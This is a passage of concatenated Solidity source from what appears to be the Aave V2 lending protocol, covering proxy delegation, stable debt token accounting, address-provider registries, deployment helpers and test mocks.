require( Address.isContract(newImplementation), 'Cannot set a proxy implementation to a non-contract address' ); bytes32 slot = IMPLEMENTATION_SLOT; //solium-disable-next-line assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { //solium-disable-next-line assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {DebtTokenBase} from './base/DebtTokenBase.sol'; import {MathUtils} from '../libraries/math/MathUtils.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {IStableDebtToken} from '../../interfaces/IStableDebtToken.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; /** * @title StableDebtToken * @notice Implements a stable debt token to track the borrowing positions of users * at stable rate mode * @author Aave **/ contract StableDebtToken is IStableDebtToken, DebtTokenBase { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; uint256 internal _avgStableRate; mapping(address => uint40) internal _timestamps; mapping(address => uint256) internal _usersStableRate; uint40 internal _totalSupplyTimestamp; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBase(pool, underlyingAsset, name, symbol, incentivesController) {} /** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/ function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } /** * @dev Returns the average stable rate across all the stable rate debt * @return the average stable rate **/ function getAverageStableRate() external view virtual override returns (uint256) { return _avgStableRate; } /** * @dev Returns the timestamp of the last user action * @return The last update timestamp **/ function getUserLastUpdated(address user) external view virtual override returns (uint40) { return _timestamps[user]; } /** * @dev Returns the stable rate of the user * @param user The address of the user * @return The stable rate of user **/ function getUserStableRate(address user) external view virtual override returns (uint256) { return _usersStableRate[user]; } /** * @dev Calculates the current user debt balance * @return The accumulated debt of the user **/ function balanceOf(address account) public view virtual override returns (uint256) { uint256 accountBalance = super.balanceOf(account); uint256 stableRate = _usersStableRate[account]; if (accountBalance == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(stableRate, _timestamps[account]); return accountBalance.rayMul(cumulatedInterest); } struct MintLocalVars { uint256 previousSupply; uint256 nextSupply; uint256 amountInRay; uint256 newStableRate; uint256 currentAvgStableRate; } /** * @dev Mints debt token to the `onBehalfOf` address. * - Only callable by the LendingPool * - The resulting rate is the weighted average between the rate of the new debt * and the rate of the previous debt * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt tokens to mint * @param rate The rate of the debt being minted **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 rate ) external override onlyLendingPool returns (bool) { MintLocalVars memory vars; if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(onBehalfOf); vars.previousSupply = totalSupply(); vars.currentAvgStableRate = _avgStableRate; vars.nextSupply = _totalSupply = vars.previousSupply.add(amount); vars.amountInRay = amount.wadToRay(); vars.newStableRate = _usersStableRate[onBehalfOf] .rayMul(currentBalance.wadToRay()) .add(vars.amountInRay.rayMul(rate)) .rayDiv(currentBalance.add(amount).wadToRay()); require(vars.newStableRate <= type(uint128).max, Errors.SDT_STABLE_DEBT_OVERFLOW); _usersStableRate[onBehalfOf] = vars.newStableRate; //solium-disable-next-line _totalSupplyTimestamp = _timestamps[onBehalfOf] = uint40(block.timestamp); // Calculates the updated average stable rate vars.currentAvgStableRate = _avgStableRate = vars .currentAvgStableRate .rayMul(vars.previousSupply.wadToRay()) .add(rate.rayMul(vars.amountInRay)) .rayDiv(vars.nextSupply.wadToRay()); _mint(onBehalfOf, amount.add(balanceIncrease), vars.previousSupply); emit Transfer(address(0), onBehalfOf, amount); emit Mint( user, onBehalfOf, amount, currentBalance, balanceIncrease, vars.newStableRate, vars.currentAvgStableRate, vars.nextSupply ); return currentBalance == 0; } /** * @dev Burns debt of `user` * @param user The address of the user getting his debt burned * @param amount The amount of debt tokens getting burned **/ function burn(address user, uint256 amount) external override onlyLendingPool { (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(user); uint256 previousSupply = totalSupply(); uint256 newAvgStableRate = 0; uint256 nextSupply = 0; uint256 userStableRate = _usersStableRate[user]; // Since the total supply and each single user debt accrue separately, // there might be accumulation errors so that the last borrower repaying // mght actually try to repay more than the available debt supply. // In this case we simply set the total supply and the avg stable rate to 0 if (previousSupply <= amount) { _avgStableRate = 0; _totalSupply = 0; } else { nextSupply = _totalSupply = previousSupply.sub(amount); uint256 firstTerm = _avgStableRate.rayMul(previousSupply.wadToRay()); uint256 secondTerm = userStableRate.rayMul(amount.wadToRay()); // For the same reason described above, when the last user is repaying it might // happen that user rate * user balance > avg rate * total supply. In that case, // we simply set the avg rate to 0 if (secondTerm >= firstTerm) { newAvgStableRate = _avgStableRate = _totalSupply = 0; } else { newAvgStableRate = _avgStableRate = firstTerm.sub(secondTerm).rayDiv(nextSupply.wadToRay()); } } if (amount == currentBalance) { _usersStableRate[user] = 0; _timestamps[user] = 0; } else { //solium-disable-next-line _timestamps[user] = uint40(block.timestamp); } //solium-disable-next-line _totalSupplyTimestamp = uint40(block.timestamp); if (balanceIncrease > amount) { uint256 amountToMint = balanceIncrease.sub(amount); _mint(user, amountToMint, previousSupply); emit Mint( user, user, amountToMint, currentBalance, balanceIncrease, userStableRate, newAvgStableRate, nextSupply ); } else { uint256 amountToBurn = amount.sub(balanceIncrease); _burn(user, amountToBurn, previousSupply); emit Burn(user, amountToBurn, currentBalance, balanceIncrease, newAvgStableRate, nextSupply); } emit Transfer(user, address(0), amount); } /** * @dev Calculates the increase in balance since the last user interaction * @param user The address of the user for which the interest is being accumulated * @return The previous principal balance, the new principal balance and the balance increase **/ function _calculateBalanceIncrease(address user) internal view returns ( uint256, uint256, uint256 ) { uint256 previousPrincipalBalance = super.balanceOf(user); if (previousPrincipalBalance == 0) { return (0, 0, 0); } // Calculation of the accrued interest since the last accumulation uint256 balanceIncrease = balanceOf(user).sub(previousPrincipalBalance); return ( previousPrincipalBalance, previousPrincipalBalance.add(balanceIncrease), balanceIncrease ); } /** * @dev Returns the principal and total supply, the average borrow rate and the last supply update timestamp **/ function getSupplyData() public view override returns ( uint256, uint256, uint256, uint40 ) { uint256 avgRate = _avgStableRate; return (super.totalSupply(), _calcTotalSupply(avgRate), avgRate, _totalSupplyTimestamp); } /** * @dev Returns the the total supply and the average stable rate **/ function getTotalSupplyAndAvgRate() public view override returns (uint256, uint256) { uint256 avgRate = _avgStableRate; return (_calcTotalSupply(avgRate), avgRate); } /** * @dev Returns the total supply **/ function totalSupply() public view override returns (uint256) { return _calcTotalSupply(_avgStableRate); } /** * @dev Returns the timestamp at which the total supply was updated **/ function getTotalSupplyLastUpdated() public view override returns (uint40) { return _totalSupplyTimestamp; } /** * @dev Returns the principal debt balance of the user from * @param user The user's address * @return The debt balance of the user since the last burn/mint action **/ function principalBalanceOf(address user) external view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Calculates the total supply * @param avgRate The average rate at which the total supply increases * @return The debt balance of the user since the last burn/mint action **/ function _calcTotalSupply(uint256 avgRate) internal view virtual returns (uint256) { uint256 principalSupply = super.totalSupply(); if (principalSupply == 0) { return 0; } uint256 cumulatedInterest = MathUtils.calculateCompoundedInterest(avgRate, _totalSupplyTimestamp); return principalSupply.rayMul(cumulatedInterest); } /** * @dev Mints stable debt tokens to an user * @param account The account receiving the debt tokens * @param amount The amount being minted * @param oldTotalSupply the total supply before the minting event **/ function _mint( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.add(amount); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } /** * @dev Burns stable debt tokens of an user * @param account The user getting his debt burned * @param amount The amount being burned * @param oldTotalSupply The total supply before the burning event **/ function _burn( address account, uint256 amount, uint256 oldTotalSupply ) internal { uint256 oldAccountBalance = _balances[account]; _balances[account] = oldAccountBalance.sub(amount, Errors.SDT_BURN_EXCEEDS_BALANCE); if (address(_incentivesController) != address(0)) { _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {StableDebtToken} from '../../protocol/tokenization/StableDebtToken.sol'; contract MockStableDebtToken is StableDebtToken { constructor( address _pool, address _underlyingAssetAddress, string memory _tokenName, string memory _tokenSymbol, address incentivesController ) public StableDebtToken(_pool, _underlyingAssetAddress, _tokenName, _tokenSymbol, incentivesController) {} function getRevision() internal pure override returns (uint256) { return 0x2; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {StableDebtToken} from '../protocol/tokenization/StableDebtToken.sol'; import {VariableDebtToken} from '../protocol/tokenization/VariableDebtToken.sol'; import {LendingRateOracle} from '../mocks/oracle/LendingRateOracle.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {StringLib} from './StringLib.sol'; contract StableAndVariableTokensHelper is Ownable { address payable private pool; address private addressesProvider; event deployedContracts(address stableToken, address variableToken); constructor(address payable _pool, address _addressesProvider) public { pool = _pool; addressesProvider = _addressesProvider; } function initDeployment( address[] calldata tokens, string[] calldata symbols, address incentivesController ) external onlyOwner { require(tokens.length == symbols.length, 'Arrays not same length'); require(pool != address(0), 'Pool can not be zero address'); for (uint256 i = 0; i < tokens.length; i++) { emit deployedContracts( address( new StableDebtToken( pool, tokens[i], StringLib.concat('Aave stable debt bearing ', symbols[i]), StringLib.concat('stableDebt', symbols[i]), incentivesController ) ), address( new VariableDebtToken( pool, tokens[i], StringLib.concat('Aave variable debt bearing ', symbols[i]), StringLib.concat('variableDebt', symbols[i]), incentivesController ) ) ); } } function setOracleBorrowRates( address[] calldata assets, uint256[] calldata rates, address oracle ) external onlyOwner { require(assets.length == rates.length, 'Arrays not same length'); for (uint256 i = 0; i < assets.length; i++) { // LendingRateOracle owner must be this contract LendingRateOracle(oracle).setMarketBorrowRate(assets[i], rates[i]); } } function setOracleOwnership(address oracle, address admin) external onlyOwner { require(admin != address(0), 'owner can not be zero'); require(LendingRateOracle(oracle).owner() == address(this), 'helper is not owner'); LendingRateOracle(oracle).transferOwnership(admin); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol'; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; contract LendingRateOracle is ILendingRateOracle, Ownable { mapping(address => uint256) borrowRates; mapping(address => uint256) liquidityRates; function getMarketBorrowRate(address _asset) external view override returns (uint256) { return borrowRates[_asset]; } function setMarketBorrowRate(address _asset, uint256 _rate) external override onlyOwner { borrowRates[_asset] = _rate; } function getMarketLiquidityRate(address _asset) external view returns (uint256) { return liquidityRates[_asset]; } function setMarketLiquidityRate(address _asset, uint256 _rate) external onlyOwner { liquidityRates[_asset] = _rate; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; library StringLib { function concat(string memory a, string memory b) internal pure returns (string memory) { return string(abi.encodePacked(a, b)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {LendingPool} from '../protocol/lendingpool/LendingPool.sol'; import { LendingPoolAddressesProvider } from '../protocol/configuration/LendingPoolAddressesProvider.sol'; import {LendingPoolConfigurator} from '../protocol/lendingpool/LendingPoolConfigurator.sol'; import {AToken} from '../protocol/tokenization/AToken.sol'; import { DefaultReserveInterestRateStrategy } from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol'; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {StringLib} from './StringLib.sol'; contract ATokensAndRatesHelper is Ownable { address payable private pool; address private addressesProvider; address private poolConfigurator; event deployedContracts(address aToken, address strategy); constructor( address payable _pool, address _addressesProvider, address _poolConfigurator ) public { pool = _pool; addressesProvider = _addressesProvider; poolConfigurator = _poolConfigurator; } function initDeployment( address[] calldata assets, string[] calldata symbols, uint256[6][] calldata rates, address treasuryAddress, address incentivesController ) external onlyOwner { require(assets.length == symbols.length, 't Arrays not same length'); require(rates.length == symbols.length, 'r Arrays not same length'); for (uint256 i = 0; i < assets.length; i++) { emit deployedContracts( address( new AToken( LendingPool(pool), assets[i], treasuryAddress, StringLib.concat('Aave interest bearing ', symbols[i]), StringLib.concat('a', symbols[i]), incentivesController ) ), address( new DefaultReserveInterestRateStrategy( LendingPoolAddressesProvider(addressesProvider), rates[i][0], rates[i][1], rates[i][2], rates[i][3], rates[i][4], rates[i][5] ) ) ); } } function initReserve( address[] calldata stables, address[] calldata variables, address[] calldata aTokens, address[] calldata strategies, uint8[] calldata reserveDecimals ) external onlyOwner { require(variables.length == stables.length); require(aTokens.length == stables.length); require(strategies.length == stables.length); require(reserveDecimals.length == stables.length); for (uint256 i = 0; i < stables.length; i++) { LendingPoolConfigurator(poolConfigurator).initReserve( aTokens[i], stables[i], variables[i], reserveDecimals[i], strategies[i] ); } } function configureReserves( address[] calldata assets, uint256[] calldata baseLTVs, uint256[] calldata liquidationThresholds, uint256[] calldata liquidationBonuses, uint256[] calldata reserveFactors, bool[] calldata stableBorrowingEnabled ) external onlyOwner { require(baseLTVs.length == assets.length); require(liquidationThresholds.length == assets.length); require(liquidationBonuses.length == assets.length); require(stableBorrowingEnabled.length == assets.length); require(reserveFactors.length == assets.length); LendingPoolConfigurator configurator = LendingPoolConfigurator(poolConfigurator); for (uint256 i = 0; i < assets.length; i++) { configurator.configureReserveAsCollateral( assets[i], baseLTVs[i], liquidationThresholds[i], liquidationBonuses[i] ); configurator.enableBorrowingOnReserve(assets[i], stableBorrowingEnabled[i]); configurator.setReserveFactor(assets[i], reserveFactors[i]); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; // Prettier ignore to prevent buidler flatter bug // prettier-ignore import {InitializableImmutableAdminUpgradeabilityProxy} from '../libraries/aave-upgradeability/InitializableImmutableAdminUpgradeabilityProxy.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ contract LendingPoolAddressesProvider is Ownable, ILendingPoolAddressesProvider { string private _marketId; mapping(bytes32 => address) private _addresses; bytes32 private constant LENDING_POOL = 'LENDING_POOL'; bytes32 private constant LENDING_POOL_CONFIGURATOR = 'LENDING_POOL_CONFIGURATOR'; bytes32 private constant POOL_ADMIN = 'POOL_ADMIN'; bytes32 private constant EMERGENCY_ADMIN = 'EMERGENCY_ADMIN'; bytes32 private constant LENDING_POOL_COLLATERAL_MANAGER = 'COLLATERAL_MANAGER'; bytes32 private constant PRICE_ORACLE = 'PRICE_ORACLE'; bytes32 private constant LENDING_RATE_ORACLE = 'LENDING_RATE_ORACLE'; constructor(string memory marketId) public { _setMarketId(marketId); } /** * @dev Returns the id of the Aave market to which this contracts points to * @return The market id **/ function getMarketId() external view override returns (string memory) { return _marketId; } /** * @dev Allows to set the market which this LendingPoolAddressesProvider represents * @param marketId The market id */ function setMarketId(string memory marketId) external override onlyOwner { _setMarketId(marketId); } /** * @dev General function to update the implementation of a proxy registered with * certain `id`. If there is no proxy registered, it will instantiate one and * set as implementation the `implementationAddress` * IMPORTANT Use this function carefully, only for ids that don't have an explicit * setter function, in order to avoid unexpected consequences * @param id The id * @param implementationAddress The address of the new implementation */ function setAddressAsProxy(bytes32 id, address implementationAddress) external override onlyOwner { _updateImpl(id, implementationAddress); emit AddressSet(id, implementationAddress, true); } /** * @dev Sets an address for an id replacing the address saved in the addresses map * IMPORTANT Use this function carefully, as it will do a hard replacement * @param id The id * @param newAddress The address to set */ function setAddress(bytes32 id, address newAddress) external override onlyOwner { _addresses[id] = newAddress; emit AddressSet(id, newAddress, false); } /** * @dev Returns an address by id * @return The address */ function getAddress(bytes32 id) public view override returns (address) { return _addresses[id]; } /** * @dev Returns the address of the LendingPool proxy * @return The LendingPool proxy address **/ function getLendingPool() external view override returns (address) { return getAddress(LENDING_POOL); } /** * @dev Updates the implementation of the LendingPool, or creates the proxy * setting the new `pool` implementation on the first time calling it * @param pool The new LendingPool implementation **/ function setLendingPoolImpl(address pool) external override onlyOwner { _updateImpl(LENDING_POOL, pool); emit LendingPoolUpdated(pool); } /** * @dev Returns the address of the LendingPoolConfigurator proxy * @return The LendingPoolConfigurator proxy address **/ function getLendingPoolConfigurator() external view override returns (address) { return getAddress(LENDING_POOL_CONFIGURATOR); } /** * @dev Updates the implementation of the LendingPoolConfigurator, or creates the proxy * setting the new `configurator` implementation on the first time calling it * @param configurator The new LendingPoolConfigurator implementation **/ function setLendingPoolConfiguratorImpl(address configurator) external override onlyOwner { _updateImpl(LENDING_POOL_CONFIGURATOR, configurator); emit LendingPoolConfiguratorUpdated(configurator); } /** * @dev Returns the address of the LendingPoolCollateralManager. Since the manager is used * through delegateCall within the LendingPool contract, the proxy contract pattern does not work properly hence * the addresses are changed directly * @return The address of the LendingPoolCollateralManager **/ function getLendingPoolCollateralManager() external view override returns (address) { return getAddress(LENDING_POOL_COLLATERAL_MANAGER); } /** * @dev Updates the address of the LendingPoolCollateralManager * @param manager The new LendingPoolCollateralManager address **/ function setLendingPoolCollateralManager(address manager) external override onlyOwner { _addresses[LENDING_POOL_COLLATERAL_MANAGER] = manager; emit LendingPoolCollateralManagerUpdated(manager); } /** * @dev The functions below are getters/setters of addresses that are outside the context * of the protocol hence the upgradable proxy pattern is not used **/ function getPoolAdmin() external view override returns (address) { return getAddress(POOL_ADMIN); } function setPoolAdmin(address admin) external override onlyOwner { _addresses[POOL_ADMIN] = admin; emit ConfigurationAdminUpdated(admin); } function getEmergencyAdmin() external view override returns (address) { return getAddress(EMERGENCY_ADMIN); } function setEmergencyAdmin(address emergencyAdmin) external override onlyOwner { _addresses[EMERGENCY_ADMIN] = emergencyAdmin; emit EmergencyAdminUpdated(emergencyAdmin); } function getPriceOracle() external view override returns (address) { return getAddress(PRICE_ORACLE); } function setPriceOracle(address priceOracle) external override onlyOwner { _addresses[PRICE_ORACLE] = priceOracle; emit PriceOracleUpdated(priceOracle); } function getLendingRateOracle() external view override returns (address) { return getAddress(LENDING_RATE_ORACLE); } function setLendingRateOracle(address lendingRateOracle) external override onlyOwner { _addresses[LENDING_RATE_ORACLE] = lendingRateOracle; emit LendingRateOracleUpdated(lendingRateOracle); } /** * @dev Internal function to update the implementation of a specific proxied component of the protocol * - If there is no proxy registered in the given `id`, it creates the proxy setting `newAdress` * as implementation and calls the initialize() function on the proxy * - If there is already a proxy registered, it just updates the implementation to `newAddress` and * calls the initialize() function via upgradeToAndCall() in the proxy * @param id The id of the proxy to be updated * @param newAddress The address of the new implementation **/ function _updateImpl(bytes32 id, address newAddress) internal { address payable proxyAddress = payable(_addresses[id]); InitializableImmutableAdminUpgradeabilityProxy proxy = InitializableImmutableAdminUpgradeabilityProxy(proxyAddress); bytes memory params = abi.encodeWithSignature('initialize(address)', address(this)); if (proxyAddress == address(0)) { proxy = new InitializableImmutableAdminUpgradeabilityProxy(address(this)); proxy.initialize(newAddress, params); _addresses[id] = address(proxy); emit ProxyCreated(id, address(proxy)); } else { proxy.upgradeToAndCall(newAddress, params); } } function _setMarketId(string memory marketId) internal { _marketId = marketId; emit MarketIdSet(marketId); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Ownable} from '../../dependencies/openzeppelin/contracts/Ownable.sol'; import { ILendingPoolAddressesProviderRegistry } from '../../interfaces/ILendingPoolAddressesProviderRegistry.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ contract LendingPoolAddressesProviderRegistry is Ownable, ILendingPoolAddressesProviderRegistry { mapping(address => uint256) private _addressesProviders; address[] private _addressesProvidersList; /** * @dev Returns the list of registered addresses provider * @return The list of addresses provider, potentially containing address(0) elements **/ function getAddressesProvidersList() external view override returns (address[] memory) { address[] memory addressesProvidersList = _addressesProvidersList; uint256 maxLength = addressesProvidersList.length; address[] memory activeProviders = new address[](maxLength); for (uint256 i = 0; i < maxLength; i++) { if (_addressesProviders[addressesProvidersList[i]] > 0) { activeProviders[i] = addressesProvidersList[i]; } } return activeProviders; } /** * @dev Registers an addresses provider * @param provider The address of the new LendingPoolAddressesProvider * @param id The id for the new LendingPoolAddressesProvider, referring to the market it belongs to **/ function registerAddressesProvider(address provider, uint256 id) external override onlyOwner { require(id != 0, Errors.LPAPR_INVALID_ADDRESSES_PROVIDER_ID); _addressesProviders[provider] = id; _addToAddressesProvidersList(provider); emit AddressesProviderRegistered(provider); } /** * @dev Removes a LendingPoolAddressesProvider from the list of registered addresses provider * @param provider The LendingPoolAddressesProvider address **/ function unregisterAddressesProvider(address provider) external override onlyOwner { require(_addressesProviders[provider] > 0, Errors.LPAPR_PROVIDER_NOT_REGISTERED); _addressesProviders[provider] = 0; emit AddressesProviderUnregistered(provider); } /** * @dev Returns the id on a registered LendingPoolAddressesProvider * @return The id or 0 if the LendingPoolAddressesProvider is not registered */ function getAddressesProviderIdByAddress(address addressesProvider) external view override returns (uint256) { return _addressesProviders[addressesProvider]; } function _addToAddressesProvidersList(address provider) internal { uint256 providersCount = _addressesProvidersList.length; for (uint256 i = 0; i < providersCount; i++) { if (_addressesProvidersList[i] == provider) { return; } } _addressesProvidersList.push(provider); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title LendingPoolAddressesProviderRegistry contract * @dev Main registry of LendingPoolAddressesProvider of multiple Aave protocol's markets * - Used for indexing purposes of Aave protocol's markets * - The id assigned to a LendingPoolAddressesProvider refers to the market it is connected with, * for example with `0` for the Aave main market and `1` for the next created * @author Aave **/ interface ILendingPoolAddressesProviderRegistry { event AddressesProviderRegistered(address indexed newAddress); event AddressesProviderUnregistered(address indexed newAddress); function getAddressesProvidersList() external view returns (address[] memory); function getAddressesProviderIdByAddress(address addressesProvider) external view returns (uint256); function registerAddressesProvider(address provider, uint256 id) external; function unregisterAddressesProvider(address provider) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol'; /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract MintableDelegationERC20 is ERC20 { address public delegatee; constructor( string memory name, string memory symbol, uint8 decimals ) public ERC20(name, symbol) { _setupDecimals(decimals); } /** * @dev Function to mint tokensp * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(uint256 value) public returns (bool) { _mint(msg.sender, value); return true; } function delegate(address delegateeAddress) external { delegatee = delegateeAddress; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import {MintableERC20} from '../tokens/MintableERC20.sol'; contract MockUniswapV2Router02 is IUniswapV2Router02 { mapping(address => uint256) internal _amountToReturn; mapping(address => uint256) internal _amountToSwap; mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsIn; mapping(address => mapping(address => mapping(uint256 => uint256))) internal _amountsOut; uint256 internal defaultMockValue; function setAmountToReturn(address reserve, uint256 amount) public { _amountToReturn[reserve] = amount; } function setAmountToSwap(address reserve, uint256 amount) public { _amountToSwap[reserve] = amount; } function swapExactTokensForTokens( uint256 amountIn, uint256, /* amountOutMin */ address[] calldata path, address to, uint256 /* deadline */ ) external override returns (uint256[] memory amounts) { IERC20(path[0]).transferFrom(msg.sender, address(this), amountIn); MintableERC20(path[1]).mint(_amountToReturn[path[0]]); IERC20(path[1]).transfer(to, _amountToReturn[path[0]]); amounts = new uint256[](path.length); amounts[0] = amountIn; amounts[1] = _amountToReturn[path[0]]; } function swapTokensForExactTokens( uint256 amountOut, uint256, /* amountInMax */ address[] calldata path, address to, uint256 /* deadline */ ) external override returns (uint256[] memory amounts) { IERC20(path[0]).transferFrom(msg.sender, address(this), _amountToSwap[path[0]]); MintableERC20(path[1]).mint(amountOut); IERC20(path[1]).transfer(to, amountOut); amounts = new uint256[](path.length); amounts[0] = _amountToSwap[path[0]]; amounts[1] = amountOut; } function setAmountOut( uint256 amountIn, address reserveIn, address reserveOut, uint256 amountOut ) public { _amountsOut[reserveIn][reserveOut][amountIn] = amountOut; } function setAmountIn( uint256 amountOut, address reserveIn, address reserveOut, uint256 amountIn ) public { _amountsIn[reserveIn][reserveOut][amountOut] = amountIn; } function setDefaultMockValue(uint256 value) public { defaultMockValue = value; } function getAmountsOut(uint256 amountIn, address[] calldata path) external view override returns (uint256[] memory) { uint256[] memory amounts = new uint256[](path.length); amounts[0] = amountIn; amounts[1] = _amountsOut[path[0]][path[1]][amountIn] > 0 ? _amountsOut[path[0]][path[1]][amountIn] : defaultMockValue; return amounts; } function getAmountsIn(uint256 amountOut, address[] calldata path) external view override returns (uint256[] memory) { uint256[] memory amounts = new uint256[](path.length); amounts[0] = _amountsIn[path[0]][path[1]][amountOut] > 0 ? _amountsIn[path[0]][path[1]][amountOut] : defaultMockValue; amounts[1] = amountOut; return amounts; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; /** * @title UniswapLiquiditySwapAdapter * @notice Uniswap V2 Adapter to swap liquidity. * @author Aave **/ contract UniswapLiquiditySwapAdapter is BaseUniswapAdapter { struct PermitParams { uint256[] amount; uint256[] deadline; uint8[] v; bytes32[] r; bytes32[] s; } struct SwapParams { address[] assetToSwapToList; uint256[] minAmountsToReceive; bool[] swapAllBalance; PermitParams permitParams; bool[] useEthPath; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Swaps the received reserve amount from the flash loan into the asset specified in the params. * The received funds from the swap are then deposited into the protocol on behalf of the user. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and * repay the flash 